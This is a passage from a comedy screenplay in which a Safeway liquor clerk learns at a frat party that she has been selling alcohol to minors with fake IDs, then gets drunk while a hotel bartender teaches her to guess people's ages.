look,\nnow don’t you?\nRUBY\nMore like a Signature Select look,\nam I right?\nRuby laughs, Babs clearly unaware of Safeway’s store brand.\nBABS\nWe need the tub.\nRUBY\nThe tub?\nBabs, defying the limits of her body, runs out of the room.\nBABS\nThe tub!\nRUBY\n(to Min)\nThe tub?\nMIN\nThe tub.\nRUBY\nWhat’s that?\n\n41.\nMIN\nA tub, I assume.\nMin and Ruby stand still and silent for several long moments.\nBabs enters, carrying an enormous teal tub.\nBABS\nThe tub!\nShe throws it down on the ground and struggles to catch her\nbreath.\nBABS (CONT’D)\nIt’s where we keep all the clothes\nthat guests leave in their rooms\nafter they check out.\nRuby cautiously opens the tub.\nRUBY\nAnd they’ve all been washed\nthoroughly?\nBABS\nYeah I’m sure these people washed\ntheir clothes.\nRuby pulls out a short, lowcut black dress.\nRUBY\nIs this party appropriate?\nBabs stands up and touches the dress.\nBABS\nWhat I wouldn’t give to wear this\nand sneak into another South-\nAmerican cock fight...looks a bit\nsmall though.\nBabs tosses it aside, Ruby pulls out a pair of yellow tube\nsocks, men’s jeans, an old tattered sports bra, and a night\ngown.\nRUBY\nDo any of these work?\nBABS\nYikes. Not yet, but...\nBabs whips out a butterfly knife.\n\n42.\nBABS (CONT’D)\nGive me five minutes. And one of\nyour polos.\nRuby looks mortified.\nBABS (CONT’D)\nTrust me.\nMIN\nWhat about me?\nThey both turn, having assumedly forgot he was there.\nBABS\nOh...you also want party clothes?\nMin nods.\nBABS (CONT’D)\nWell in that case-\nCUT TO:\nEXT. SHITTY HOTEL – NIGHT\nRod Stewart’s “Do Ya Think I’m Sexy” plays. Out walks Ruby\nand Min towards the PT Cruiser.\nRuby is wearing the men’s jeans up to her waist with holes\nnow cut out all over. Her work polo has been turned into a\none-shoulder crop top. Her bra strap shows and she’s wearing\nher trusted backpack. She takes tiny, uncomfortable steps.\nIn a weird and unfamiliar way, Ruby looks…hot?\nMin is in the short black dress, his nipples just barely\npoking out, and yellow tube socks that hit him just below the\nknee. His upside-down thigh tattoos are showing. He’s an\nandrogynous dream.\nRuby reaches into her bra and pulls out her name tag. She\nputs it on, suddenly looking more confident.\nBabs looks on from the doorway, beaming like a proud mother\nsending her kids off to prom.\nEXT. SIGMA CHI FRAT HOUSE – NIGHT\nRuby and Min stand still at the curb of the house. There are\ncollege kids in typical “I’m not living under Mom’s roof\nanymore” attire. They stare at the front door.\n\n43.\nRUBY\nWell, we visited a party. Time to\ngo.\nRuby starts walking away.\nMIN\nHey Ruby?\nRUBY\nYeah?\nMIN\nI think the party is inside.\nShe reluctantly returns to Min’s side.\nMIN (CONT’D)\nIt’s okay if you’re nervous. I am\ntoo.\nRUBY\nYou are?\nMIN\nIsn’t it obvious? I’m shaking.\nHe’s not.\nMIN (CONT’D)\nBut I think if we stick together,\nit’s going to be okay.\nRuby seems to take the tiniest sigh of comfort.\nShe takes a moment to calibrate to the booming bass radiating\nfrom the house. She gently bops to the beat.\nRUBY\nOkay. We stick together?\nMin nods.\nRuby takes a deep breath. Five six seven eight-\n-she leads the way walking up the sidewalk to the beat. Too\ndramatically. Her shoulders are doing all the walking. Min\nfails to figure out the beat. He scurries behind.\nINT. SIGMA CHI FRAT HOUSE – NIGHT\nIt’s a party alright. College kids drinking and flirting. A\nBRO at the door stops them.\n\n44.\nBRO\nThere’s a cover tonight for dudes.\nHe looks at Ruby.\nBRO (CONT’D)\nYou’re good.\nShe enters. The bro looks at Min in his dress.\nBRO (CONT’D)\nUhh…\nMin stares back. With a deadpan glare, he winks at the bro.\nHe follows Ruby inside.\nRUBY\nThere doesn’t appear to be a\nguestbook, but I assume that’s\ntypical for these kind of\ngatherings, so don’t panic.\nA raging Pitbull-esque jam comes on the stereo. The college\nkids start moving their bodies in a mating-ritualistic way.\nRUBY (CONT’D)\nAlright Min, showtime.\nShe takes a moment to close her eyes and find the beat. She\nthen breaks into a dramatic salsa dance. It’s…a lot.\nRUBY (CONT’D)\nDon’t just stand there! We’re at a\nparty, Min! We need to blend in.\nShe grabs Min and leads him in the dance. He follows along\nwell, surprisingly. People stare, they smile and laugh in\napproval. They don’t realize this is just Ruby being Ruby.\nShe senses their feedback and kicks it up a notch. She twirls\nMin, her once-hidden hips now taking control.\nThe partiers start to cheer. The louder they cheer, the\nstronger the party energy infiltrates Ruby’s body. A circle\nforms as Ruby lifts Min above her head. Afterall, she’s got\nthe forearm strength to work in liquor.\nMaking his way through the crowd is our boy Blake.\nBLAKE\nRuby Tuesday! You made it!\nRuby and Min stop their routine.\n\n45.\nRUBY\n(out of breath)\nBlake, hello.\nBlake gives Ruby a hug. Her eyes widen.\nBLAKE\nYou want a tour of the place?\nRUBY\nI do love architecture…\nBLAKE\nDope! Follow me.\nRuby begins to follow Blake, but she quickly stops.\nRUBY\nWait!\nShe turns around to Min, who is admiring the snack table.\nRUBY (CONT’D)\nAre you gonna be okay if I go with\nBlake?\nMin smiles and nods. He gives her a thumbs up. Ruby smiles\nback. Ruby heads back towards Blake as Min looks back towards\nthe snack table, suddenly furrowing his eyebrows.\nINT. FRAT BOY KITCHEN – NIGHT\nBlake leads Ruby towards a table full of booze. The\nBottomfeeder’s blobfish stares at all who enter.\nBLAKE\nThis is the kitchen. It’s where the\nguys cook food.\nRUBY\nThat makes sense.\nBLAKE\nCan I get you a drink?\nRUBY\nOh, I don’t really-\nShe shakes off her default rejection and refocuses.\nRUBY (CONT’D)\n-see a problem with that. I sell\nalcohol and I drink it.\n\n46.\nBLAKE\nRight on! A Bottomfeeders and\nsprite cool?\nRUBY\nHold the sprite.\nBLAKE\nStraight Bottomfeeders? You’re a\nmaniac!\nShe’s clearly never had straight Bottomfeeders. He pours her\na generous cup.\nBLAKE (CONT’D)\nThe tour continues!\nRuby takes a large gulp of the vodka, and in an attempt to\nchoke it down, shoots it out her nose and back into the cup.\nLuckily Blake didn’t notice. She takes another sip.\nINT. FRAT HOUSE HALLWAY - NIGHT\nDoors line the near-empty hallway.\nBLAKE\nThese are the bedrooms, they kinda\nsmell like a janitor’s closet.\nBlake opens one of the empty rooms. They walk into the-\nINT. FRAT BOY ROOM – NIGHT\nRuby grabs the notepad from her bra while Blake isn’t\nlooking.\nINSERT – NOTEPAD\nThe top is labeled “Bab’s Party Tips.”\nOnly the second one is visible, which reads “Blake + Bedroom\n= Romantic music.”\nBACK TO SCENE\nShe quickly stuffs the notepad back into her bra.\nRuby takes a deep breath and walks inside the room with\nsimilar shoulder movements as when she entered the house.\n\n47.\nBLAKE\nMy buddy Grant and I are gonna be\nsharing this room once we’re all\nmoved in. I’m super stoked cause he\nhas a massive bean bag-\nHe’s interrupted by a song abruptly starting. It’s the bridal\nchorus playing from Ruby’s phone.\nBlake freezes, confused. Ruby tries reading his reaction to\nsee if this is normal.\nBLAKE (CONT’D)\nYou hear that too, right?\nRUBY\nI do.\nThey awkwardly stand in the music for a moment.\nBLAKE\nWeird. The house has a strict “no\nwedding” rule. Anyway, I’ll show\nyou the urinals now. We’ve got like\nseven in one bathroom, it’s crazy!\nBlake walks out of the room. Ruby, confused, turns off her\nmake-out music. She pulls out the notepad again and stares at\nher notes.\nRUBY\nMaybe I missed a step...\nINT. FRAT LIVING ROOM – NIGHT\nBlake and Ruby rejoin the party downstairs. Min is sitting\ninconspicuously in the corner on a chair.\nBlake stares at the snack table.\nBLAKE\nHoly Toledo, who brought the\nsammies?\nRuby looks over to see a platter of gourmet mini subs. People\nare grabbing them like crazy.\nRUBY\nDid you make sandwiches for\neveryone, Min?\nMin smiles mischievously.\n\n48.\nRUBY (CONT’D)\n(whispers)\nWhere did you get the necessary\nsandwich supplies?\nMIN\n(whispers)\nI’m the Deli Meat King.\nGRANT, a blonde kid who looks too young to be making\ndecisions for himself, approaches the crew.\nGRANT\nWhat’s up Big Daddy Blake?\nBLAKE\nGrant! You’re never gonna believe\nit. This is that girl Ruby I was\ntelling you about!\nGRANT\nNo way! You’re the Ruby?\nRUBY\nOh well, now, I suppose I might be.\nGRANT\nThe one who worked at Safeway?\nRuby face puckers in pride.\nRUBY\nYou know, sometimes you think your\nhard work goes unnoticed by your\npatrons, but then you’re reminded.\nThey see your hard work, your\ndedication, your forear-\nBLAKE\nYeah man, she’s been hooking me up\nsince I was fourteen! She’s the\nonly reason I could buy underage.\nRuby’s freezes. Wait a second...\nRUBY\nBlake, you should know that if this\nis some sort of joke or prank that\nI don’t do well with jokes or\npranks.\nBLAKE\nSee dude? She’s hilarious!\n\n49.\nGRANT\nA hero to all of us under twentyone.\nRUBY\nBlake why are you telling him I\nsell to minors? I would never do\nsuch a thing! I could go to jail,\nor worse, I could lose my job!\nThey laugh. Blake starts to realize Ruby isn’t kidding.\nBLAKE\nRubes, you know I’m eighteen right?\nRUBY\nWhat…what…what do you mean you’re\neighteen? Your ID says you’re fortyfour…\nThat’s like, twenty-three\nyears of being legal! It has your\nface on it!\nBLAKE\nIt’s fake.\nRUBY\nThat’s against the law!\nBLAKE\nYeah, exactly! You were the only\none in town cool with using them.\nThat’s why everyone loves you!\nRUBY\nThat’s…that’s why people liked me?\nBecause I’m... bad at my job?\nIn an instant, Ruby’s world has changed.\nGRANT\nYou’re like the Robin Hood of drunk\nhigh schoolers.\nBLAKE\nDrunk college kids now, hey-o!\nGrant and Blake clink cups.\nRUBY\nIs anybody here even twenty-one?\nRuby runs up to a girl.\n\n50.\nRUBY (CONT’D)\nAre you twenty-one?!\nGIRL #1\nI’m nineteen.\nRuby looks dumbfounded. She goes up to another PARTIER.\nRUBY\nAre you twenty-one?\nPARTIER\nI will be next year!\nAnother dramatic gasp. An ACTUAL CHILD walks by.\nRUBY\nAre you-\nACTUAL CHILD\nDon’t ask questions you don’t want\nthe answers to, honey.\nRUBY\n(shouts)\nIs anyone here allowed to be\ndrinking alcohol?\nMin raises his hand.\nGRANT\nThank you for your service, Ruby!\nThe room erupts in applause.\nRUBY\nNo…no…\nThe room chants her name. They form a circle around her,\npouring shots of liquor into each other’s mouths.\nRUBY (CONT’D)\nStop it! Stop that right now, this\nis not a cause for celebration! I\ngotta get outta here.\nShe starts pushing past the sea of underage drunkards.\nRUBY (CONT’D)\nMin, run! We’re surrounded\nby…minors!\nRuby runs to the front door, grabbing liquor bottles from the\ncollege kids on her way out. Min chases after her.\n\n51.\nEXT. SIGMA CHI FRAT HOUSE - NIGHT\nRuby, in a daze, runs outside, dropping booze bottles on the\nlawn.\nMIN\nRuby!\nRUBY\nWhat!\nMIN\nAre you okay?\nRUBY\nDid you not just hear what I heard?\nI’ve been selling to minors!\nMIN\nIt was an accident. We all make\nmistakes sometimes.\nRUBY\nI’ve been selling to him for years,\nMin! Years!\nMin doesn’t have a response. Ruby crumbles onto the lawn of\nthe Frat house and pulls out her phone. With shaky hands, she\nscrolls through her five contacts and calls Brian (Manager).\nThe phone rings.\nCUT TO:\nINT. DIMLY LIT LIVING ROOM – NIGHT\nBrian, alone on a couch, answers in a hushed voice.\nBRIAN\nRuby you better have won the\nlottery or have violent HPV for\ninterrupting my night. I’m a\nschmooze and a half away from\nseducing the head judge of Little\nMiss Arizona.\nINTERCUT – PHONE CALL\nRUBY\nI am so sorry. I just…I need to\ninform you that I’m a criminal.\nI’ve been selling to minors.\nAlcohol, that is.\n\n52.\nBRIAN\nYeah, and?\nRUBY\nI’m not sure if you heard me\ncorrectly. I’m a felon, Brian. I\nneed to be put in prison.\nBRIAN\nYou’ll certainly get HPV then.\nRUBY\nDid you know?\nBRIAN\nOf course I knew. The whole town\nknew! Why do you think so many\npeople shopped at our store?\nRUBY\nFor…the above-average customer\nservice?\nBRIAN\nI just heard him flush the toilet\nnow. Have a drink, forget your\nsorrows, move on. Oh, and my\ncousin’s side piece is the manager\nat Ralph’s. If you need a job, she\ncan hook you up. Tata!\nAs Brian hangs up, an attractive young man comes back to the\ncouch. Brian flirtatiously smiles at him, then glances over\nto see Jessie sitting in the corner of the room staring at\nthem, wearing her god-awful flipper. He frowns.\nEXT. SIGMA CHI FRAT HOUSE – NIGHT\nRuby puts her phone back in her backpack. Min, now sitting\nclose to Ruby, sips out of the bottle of Bottomfeeder’s Ruby\ndropped on the lawn.\nMIN\nAdult beverage?\nIn a very similar manner as the cottage cheese, Ruby refuses\nat first, only to take a sip from the bottle a few moments\nlater. She holds a large gulp in her mouth, her face becoming\nmore and more disgusted. The vodka slowly dribbles out her\nmouth down her outfit.\n\n53.\nINT. SHITTY HOTEL – NIGHT\nRuby stumbles in. Babs abruptly lifts her head from the\ncounter at the sound of their entrance.\nBABS\nRuby! Look at you, you young and\nnasty sex lord! How was it?\nRuby looks up, withered and a changed woman.\nBABS (CONT’D)\nYou know what, you don’t gotta tell\nme the dirty details. I remember\nthose nights. Besides, the smell\nspeaks for itself.\nBabs winks and puts her head back on the counter.\nRuby pauses, tired and confused. Min follows close behind.\nMIN\nNow we can say we’ve been to a\nparty.\nRuby walks over to the broken slot machine and slouches over\non it. She accidentally presses one of the buttons and the\nmachine lights up.\nJackpot noises start playing and the machine begins shooting\ncoins out at her face. Unfazed, an exhausted Ruby gets up and\nheads for the elevator.\nINT. HOTEL ROOM – NEXT MORNING\nMin is methodically brushing his teeth in the open bathroom.\nRuby is looking in the full body mirror near the bed, wearing\nher signature khaki colored shirt and black pants.\nShe looks uncomfortable, fidgeting with the fabric and\nreadjusting how it lays on her body. Min notices.\nMIN\n(while brushing)\nItchy?\nRUBY\nThey don’t fit anymore.\nThey do, in fact, still fit.\nThe Ruby standing in the mirror is one we haven’t seen\nbefore. Unsure, uncomfortable, scared.\n\n54.\nEXT. SHITTY HOTEL PARKING LOT – DAY\nRuby shuts the trunk after packing her bag. Babs waves from\nthe entrance in the same sweatsuit she was wearing yesterday.\nBABS\nYou two come back soon okay? Next\ntime you’re here I’ll sell you some-\nRuby closes the door as Babs continues talking. Min rolls\ndown his window.\nBABS (CONT’D)\n-feels just like you’re floating on\nclouds, if clouds were made out of\nfire.\nRuby and Min wave as they pull out in the PT Cruiser. Babs\npulls some mystery powder out of her pocket and snorts it.\nShe smiles, and walks back inside.\nINT. PT CRUISER – DAY\nThey both stare forward.\nMIN\nI liked Vegas.\nRuby can’t even get herself to fake agree for his sake.\nMIN (CONT’D)\nThank you for taking me.\nThey sit in silence. Min goes to turn on the radio. The first\nchannel is Christian rock, the next Americanized Reggae, the\nnext Beach Boys. He turns off the radio.\nBack to silence. A painful amount of quiet, broken only by\nthe familiar whirring of the road.\nRUBY\nDo you think our store burned down\nfor a reason? You know, to stop me\nfrom selling to anymore…you know…\nMIN\nNo, I think it was an electrical\nshort.\nRuby nods.\n\n55.\nRUBY\nThe GPS on my cell phone says we\nshould get to Jasmine’s house in a\nfew hours.\nMin nods.\nPOP. One of the tires instantly loses pressure.\nRUBY (CONT’D)\nWhat in the? What in the? What in\nthe? What-\nThe sound of a metal wheel scratching pavement.\nRuby pulls out her screaming meanie, immediately turning her\nhazards on and pulling over. She sounds the siren.\nMIN\nRuby no! It’s just a flat tire!\nTurn it off!\nRuby silences the device.\nRUBY\nYou’re right, sorry. Cars come\nequipped with a spare tire for\nemergency purposes, so we will be\njust fine.\nRuby reaches under her seat and grabs a neon yellow vest. She\nputs it on, takes a deep breath, and exits the car.\nEXT. DESOLATE NEVADA HIGHWAY – DAY\nRuby walks with renewed purpose to the back of her car. Sure\nenough, the back-left tire is flat. She places her belongings\non the pavement to retrieve the spare: A shoe box, the white\nbinder, a couple pieces of familiar luggage.\nAfter popping the bottom out, she stretches her hands in\npreparation for grabbing the donut. Doing her best to lift\nwith her legs, she hugs the tire and spins around.\nIn the process, she knocks her stuff over on the road. Her\nshoebox full of employee of the month certificates and\ncompliment cards topples over, the lid coming off. The pieces\nof paper go flying in the wind.\nRUBY\nNO!\n\n56.\nShe drops the tire and tries to grab the box, but it’s too\nlate, it’s empty.\nMin hops out of the car, his mouth barely ajar.\nRuby instinctively chases the papers flying down the highway.\nMIN\nRuby!\nCars swerve to avoid her, honking their horns. She doesn’t\nstop, but she’s not getting any closer to catching them.\nMIN (CONT’D)\nRuby!\nShe slows down, unclear as to whether it’s because of Min’s\nyelling or immediate onset exhaustion. She turns around to\nface Min, her face drenched in horror.\nAfter ten years of customer-service smiles, she breaks. In a\nchildlike way, she screams through her tears.\nRUBY\nNo! No no no! Please no!\nShe falls to her knees, covering her wails with her hands.\nMin jogs up behind Ruby, prepared with a bottle of water. He\nsits down next to her, she doesn’t look over at him.\nThe two sit on the side of the road - Min very still, Ruby\nanything but. Ruby grabs the bottle of water with shaky\nhands, crunching her fingers into the plastic, letting the\nsobs take over her body.\nMin leans his head on to her shoulder. The surprise of it is\nenough to get Ruby’s breathing to normalize. She ungracefully\nreciprocates and tilts her head on to Min’s.\nMIN\nWait right here.\nMin scurries to the car. He comes back, holding something\nbehind his back. Ruby doesn’t care to look. Just then, Min\nstarts playing “I believe I can fly” on his flute.\nRuby lets a comforted smile creep across her face. As the\nballad fills the silent sadness, cards and certificates soar\naway in the far-off distance.\n\n57.\nEXT. PT CRUISER HOOD – DAY\nMin and Ruby lay against the windshield. The unforgiving\nNevada sun beats down on them, but they seem unfazed.\nRUBY\nHey Min? Can I ask you something?\nMIN\nLike, from the chat pack?\nRUBY\nNo, from my head.\nMIN\nOh, sure.\nRUBY\nDo you want to be an astronaut?\nMIN\nNo. I’m afraid of the dark. And\nheights. And celestial objects.\nRUBY\nThen why do you tell every woman\nyou date that you work for NASA?\nMin sits quietly with this. He looks down and sighs.\nMIN\nNo one ever wants to date a deli\nboy.\nRuby sits up with shock.\nRUBY\nAre you kidding me? You have one of\nthe coolest careers in the world!\nSecond only to alcohol sales, no\noffense.\nA smile creeps across Min’s face.\nRUBY (CONT’D)\nYou cater to the countless cold-cut\nneeds of our customers. Without\nyou, no one be able to make a\nsandwich worth their time. Besides,\nastronauts are overrated anyways. I\nbet none of them could even work a\ncommercial twelve-inch gravity-fed\nmeat slicer if they tried.\n\n58.\nMin proudly nods.\nRUBY (CONT’D)\nAnd you’re not a deli boy. You’re a\ndeli man.\nRuby cools down from her rant and lays back down on the hood.\nRUBY (CONT’D)\nDo you think your dad is still a\ndeli man?\nMIN\nI hope so.\nRUBY\nMaybe one day you’ll find him and\nyou can ask.\nA bit of silence. Suddenly, Ruby hops off the hood of the\ncar, ungracefully of course. She heads to the trunk, and\nreturns with the large white binder we’ve seen peeks of.\nRUBY (CONT’D)\nI’ve never shown this to anyone\nbefore, but...\nShe plops the binder in between them. The cover page says\n“Ruby’s”.\nMIN\nWhat is it?\nRUBY\nIt’s a grocery store called Ruby’s.\nIt’s not real, but it’s a place\nwhere I put all my ideas for my\nperfect imaginary grocery store.\nMin takes the binder and opens to a page filled with several\nA-frame architecture pictures. Ruby looks over his shoulder.\nRUBY (CONT’D)\nI’ve always thought Safeway’s\nentrance was so anticlimactic.\nSafeway has everything! But from\nafar, without that sacred logo, it\nlooks kinda like...nothing. I\nreally like how grand 20th-century\nSpanish chalet A-frames look, so I\npicture my imaginary grocery\nstore’s entrance to look like that.\nYou know, something beautiful.\n\n(MORE)\n59.\nMin flips to another page. More collaged photos, this time of\nwine. It’s starting to look like a wedding inspo binder.\nRUBY (CONT’D)\nI’ve kept track of our customer’s\nfavorite wine brands over the last\nten years. I figured stocking the\nshelves with what the people want\nwould be a good idea.\nMIN\nRuby this is...\nHe speechlessly flips through the pages. Uniform inspo, tileflooring\ninspo, everything. The binder is bursting at the\nseams with ideas.\nRUBY\nStupid, I know.\nMIN\nIt’s the coolest thing I’ve ever\nseen.\nRUBY\nPlease don’t tell Brian or anybody\nat work about it. I love Safeway\nmore than anything, I don’t want\nthem to think I’m not loyal.\nA suddenly self-conscious Ruby takes the binder back.\nMIN\nThank you for showing that to me.\nRUBY\n(hesitantly)\nThanks for saying it’s cool.\nMIN\nWhy didn’t you take the manager\nposition Brian kept offering?\nRUBY\nI work in alcohol. It’s a higher\nhonor than being manager.\nMIN\nHow?\nRUBY\nThe liquor section is its own\nlittle world.\n\nRUBY (CONT’D)\n(MORE)\n60.\nAnd I’m the only one in there, so I\nget to be the one to fix all the\nproblems. To take care of it. To\nmake sure it’s everything it could\nbe.\nMIN\nSo you like being in charge?\nRUBY\nOh no, I’m not in charge. Brian is\nthe manager. Was the manager...\nRuby shudders away the painful memory.\nRUBY (CONT’D)\nYou know the person with the most\nemployee-of-the-month awards in\nSafeway company history actually\nworked in American Falls at Alpha\nSafeway.\nMIN\nMaybe you’ll get to meet them.\nRUBY\nI doubt it. They haven’t gotten an\naward in the last three years, I’m\nguessing they retired or something.\nMIN\nWell then when you get a job at\nAlpha Safeway, maybe you’ll finally\nbeat them.\nRuby smiles. They stare back up at the sky as a roadsideassistance\ntruck with its lights on approaches from behind.\nRUBY\nYou think they have grocery stores\nin space?\nMIN\nYeah. Grocery stores are universal.\nINT. CAR ON SIDE OF HIGHWAY – EVENING\nRuby immediately buckles herself in.\nRUBY\nIf we leave now, we can get to\nJasmine’s just an hour after\nsundown.\n\nRUBY (CONT’D)\n61.\nIf we blast cold air and sing show\ntunes, I can probably avoid a\nnarcoleptic episode.\nMIN\nWe can just get there tomorrow.\nRUBY\nReally?\nMIN\nYeah. I am having fun on this road\ntrip.\nRUBY\nYou…you are?\nMin nods.\nRUBY (CONT’D)\nWell then, where shall we stay\ntonight?\nCUT TO:\nEXT. ROAD - EVENING\nThe purple stallion drives past a sign that reads “Welcome to\nRichfield, Utah!”\nEXT. HOLIDAY INN – EVENING\nRuby closes the trunk of the car looking up at the hotel. Min\nleads the way.\nINT. HOLIDAY INN LOBBY – EVENING\nMin enters, holding his mess of clothes sans suitcase. He\napproaches the front desk and waits for an attendant.\nRUBY\nI’ve never been to a Holiday Inn\nbefore, this is exciting!\nMIN\nCalm down.\nRuby is taken aback. She looks to Min, and the faintest grin\ncrosses his face. Did Min really…make a joke?\nJust then, a HOTEL EMPLOYEE comes to the counter.\n\n62.\nHOTEL EMPLOYEE\nChecking in?\nMIN\nYes.\nHOTEL EMPLOYEE\nLast name?\nMIN\nMin.\nRUBY\nWait…Min is your last name?\nMin nods.\nRUBY (CONT’D)\nWait, then what’s your-\nHOTEL EMPLOYEE\nYour room number is listed on the\nkey holder. Breakfast is served\nfrom 6 to 11, and the bar is open\nuntil midnight.\nMIN\nThe bar?\nHOTEL EMPLOYEE\nYep! Right behind you.\nThe employee points to a modest, empty bar with a female\nbartender cleaning glasses behind the counter.\nMIN\nRuby, I have an idea.\nRuby looks on, half confused and half concerned.\nCUT TO:\nINT. HOLIDAY INN BAR – EVENING\nMin and Ruby approach the bar to find JETT, a 30-something\ngoth-turned-barkeep. She’s edgy, intimidating, and nothing at\nall like our two beloved heroes.\nJETT\nHey guys, what can I get ya?\n\n63.\nMIN\nI’d like to get my friend Ruby\ndrunk.\nRUBY\nOh, I don’t know about that. IMIN\nShe went to a party. It didn’t go\nwell. And now I’d like to recreate\nthe party atmosphere.\nJETT\nThat’s the spirit! Here, first\nround’s on the house.\nJett pours three shots of tequila.\nRUBY\nOh no, we can pay for them. I\nwouldn’t want you getting in\ntrouble with your manager for\npouring shots free of charge.\nJETT\nBelieve it or not, I actually own\nthis hotel. I just like working at\nthe bar, too. Cheers!\nJett throws the shot back like it’s water. Ruby, still\nshocked from Jett’s owner status, takes the shot in that\nbumbly sorta way beginners do. Ruby fails to hide her\ndisgust, Min looks delighted by the taste.\nRUBY\nHow come you didn’t ID us?\nJETT\nYou’re twenty six, he’s twenty\neight.\nThey both stand in awe. Ruby quickly turns Min around to\nwhisper and confer.\nRUBY\nAre you twenty-eight?\nMIN\nYes. Are you twenty-six?\nRUBY\nYes.\nThe two turn back around to face Jett.\n\n64.\nJETT\nIt’s the gift of a bartender. With\nenough practice, you pinpoint\nsomeone’s age down to the month.\nNow you guys drinking with me or\nwhat?\nRuby looks towards Min, unsure, until she sees Min’s face\nbreak into a smile. She can’t help but smile in return.\nINT. HOLIDAY INN BAR – LATER\nEmpty glasses on the counter with soaked napkins and semisucked\nlime wedges.\nRuby. Is. Drunk. Slurred speech, giggles, the whole shebang.\nMin looks like he’s vibing as well.\nRUBY\nYou guys wanna hear a secret?\nJett looks on with a sort of maternal pride.\nJETT\nWhat’s your secret, sweetheart?\nRUBY\nI think Safeway overcharges for its\nfine cheeses.\nJETT\n(sarcastically)\nNoooo.\nRUBY\nShhh, don’t tell them I said that.\nI also think the self-checkout\nmachines are total bologna. They\nmalfunction every time you use\nthem.\nRuby smirks and covers her mouth, as if she just revealed\nsome controversial gossip. Min looks at her with shock.\nMIN\nI don’t like the way my hands smell\nafter I leave work.\nJett looks like she’s having a field day with these two.\nRUBY\nThank you for sharing that Min.\n\n65.\nMin gently sniffs his fingertips.\nRUBY (CONT’D)\nJett?\nJETT\nYes Ruby?\nRUBY\nTeach me your age-identifying ways.\nI never want to sell to another\nminor for as long as I live, if I’m\nso lucky as to work in alcohol\nsales again one day.\nJETT\nIt’s pretty easy once you get the\nhang of it. We just need some\npeople to practice on.\nRUBY\nThere’s nobody here.\nJETT\nI know. Follow me.\nCUT TO:\nINT. HOLIDAY INN HALLWAY – NIGHT\nJett and her two drunk puppies follow her down a hallway of\nrooms. Jett pulls out her official Holiday Inn name tag from\nher back pocket.\nJETT\nYou’d be surprised how powerful\nwearing a name tag makes you.\nRuby looks to Min in total fangirl mode. Jett knocks on a\nrandom door and out comes a TIRED WOMAN in a nightgown.\nJETT (CONT’D)\nGood evening ma’am, we’re so sorry\nto wake you at this hour. Do you\nhappen to have your ID on you?\nTIRED WOMAN\nMy ID?\nJETT\nYes, standard hotel procedure. Just\nwant to make sure everyone is in\nthe right room tonight.\n\n66.\nTIRED WOMAN\nUh, sure. Let me go get it.\nTired woman retreats into her room.\nJETT\nQuick, how old do you think she is?\nRUBY\nWhat? I don’t know! I haven’t seen\nher ID yet.\nJETT\nShe’s obviously a recent forty-two.\nCrow’s feet, hair roots, but with a\nslight glimmer of youth, the signs\nare all there.\nTired woman returns and hands over her ID to Jett. She takes\na quick look then hands it back.\nJETT (CONT’D)\nAlright, looks good Mrs. Krieger!\nHave a nice night!\nShe closes the door, Jett leads the other two away.\nRUBY\nWell?\nJETT\nShe turned 42 six weeks ago. Let’s\nmove, I have a lot to teach you.\nMONTAGE:\n- An old woman stares confusedly at Ruby. She writes 53 on\nher piece of paper. Jett looks appalled by the guess.\n- Ruby stares at a young man covered in tattoos and\npiercings. She writes 14, Jett shakes her head no.\n- A mother holding her baby stand impatiently. Ruby writes\n“Mom - 60. Baby - Under 21 (I think).” Jett sighs heavily.\nINT. HOLIDAY INN HALLWAY – NIGHT\nA frustrated Ruby crumbles a piece of paper and throws it on\nthe ground.\n\n67.\nRUBY\nWe should just stop. I’m never\ngoing to be able to properly\nidentify a patron’s age.\nJETT\nNot with that attitude you’re not.\nMaybe we just need to get a little\nmore liquid confidence in ya.\nRUBY\nYou mean more alcohol?\nJett gives her a knowing look.\nCUT TO:\nINT. HOLIDAY INN BAR – NIGHT\nMore shots. More puckering faces. More uncontainable giggles.\nRuby reaches into her pocket, pulls out her name tag, and\nfastens it to her shirt.\nMONTAGE:\n- Two bikers in their 50s stand angrily in a doorway. Ruby\nwrites “Above 21” and Jett encouragingly nods. She turns back\ntowards the bikers and fearfully shuts the door.\n- A father and his son await Ruby’ verdict. She writes “16-18\nand 45-50.” Jett’s jaw drops and nods again.\nINT. HOLIDAY INN HALLWAY – NIGHT\nA YOUNG MAN stands tired in the hallway, Ruby stares at him\nwith wicked intent.\nYOUNG MAN\nThis doesn’t make any sense, why do\nyou need to-\nJETT\nShush! Alright Ruby, above or below\ntwenty-one.\nRUBY\nUmmm...\nShe squints at the man. He’s viscerally uncomfortable.\nRUBY (CONT’D)\nHold your horses.\n\n68.\nShe steps closer to the man and squints more intensely.\nRUBY (CONT’D)\nHe’s twenty one on the dot!\nJett checks the man’s ID and smiles.\nJETT\nTurned twenty one last month.\nRUBY\nWell sir, you are able to legally\npurchase alcohol any time you like.\nRuby does an uncoordinated happy dance to herself\nMIN\nAnd your favorite deli meat is\nhickory-smoked ham.\nEveryone turns towards Min. He looks disheveled, and he’s\nwearing a pair of sunglasses from god knows where. He tips\nhis sunglasses down to make eye contact with the man.\nYOUNG MAN\nI…I do love hickory smoked ham.\nMin pushes his shades back up and walks away. An ecstatic\nRuby and Jett follow behind.\nINT. RUBY AND MIN’S HOTEL ROOM – NIGHT\nRuby and Min stumble in the room with Jett’s loving\nassistance. They’re giggly as hell.\nRUBY\nI can’t believe this is what being\ndrunk feels like.\nJETT\nPretty fun, isn’t it?\nRUBY\nFun? Are you kidding me? I’m\nunstoppable!\nRuby tries zooming around the room at what feels like hyperspeed,\nbut all we see is Ruby slowly bumping into furniture.\nInterrupting Ruby’s super-sonic sprints are the sudden sounds\nof Min’s flute. By the sounds of it, he’s playing “Girls Just\nWant to Have Fun” by Cyndi Lauper.\n\n69.\nJETT\nAs much as I want to keep this\nparty alive, I better get home.\nRuby gives Jett a giant, warm hug.\nRUBY\n(into Jett’s ear)\nThank you for helping me.\nJETT\nGood luck at Alpha Safeway. And\ndrink lots of water tonight, okay?\nRUBY\nWhy?\nJETT\nWell, if you don’t, you’ll wake up\nwith a really bad-\nCUT TO:\nINT. HOTEL BATHROOM – MORNING\nRuby stands in the mirror, deeply hungover. She’s never had\none before, and it shows. Every routine morning preparation\nis draining the life out of her.\nINT. HOTEL ROOM – MORNING\nRuby exits the bathroom to find Min spooning his flute.\nRUBY\nMin.\nHis eyes instantly open.\nRUBY (CONT’D)\nDo you feel sick too?\nMIN\nLet me see.\nHe sits up and contemplates for a bit. He slowly stands,\ntakes some cautious steps towards the bathroom, and gently\ncloses the door on Ruby. And then-\nThe unmistakable sound of hungover puking. Ruby rubs her\ntemples as he finishes what he must do.\nThe door reopens.\n\n70.\nMIN (CONT’D)\nYes, I do feel sick.\nRuby leans against the 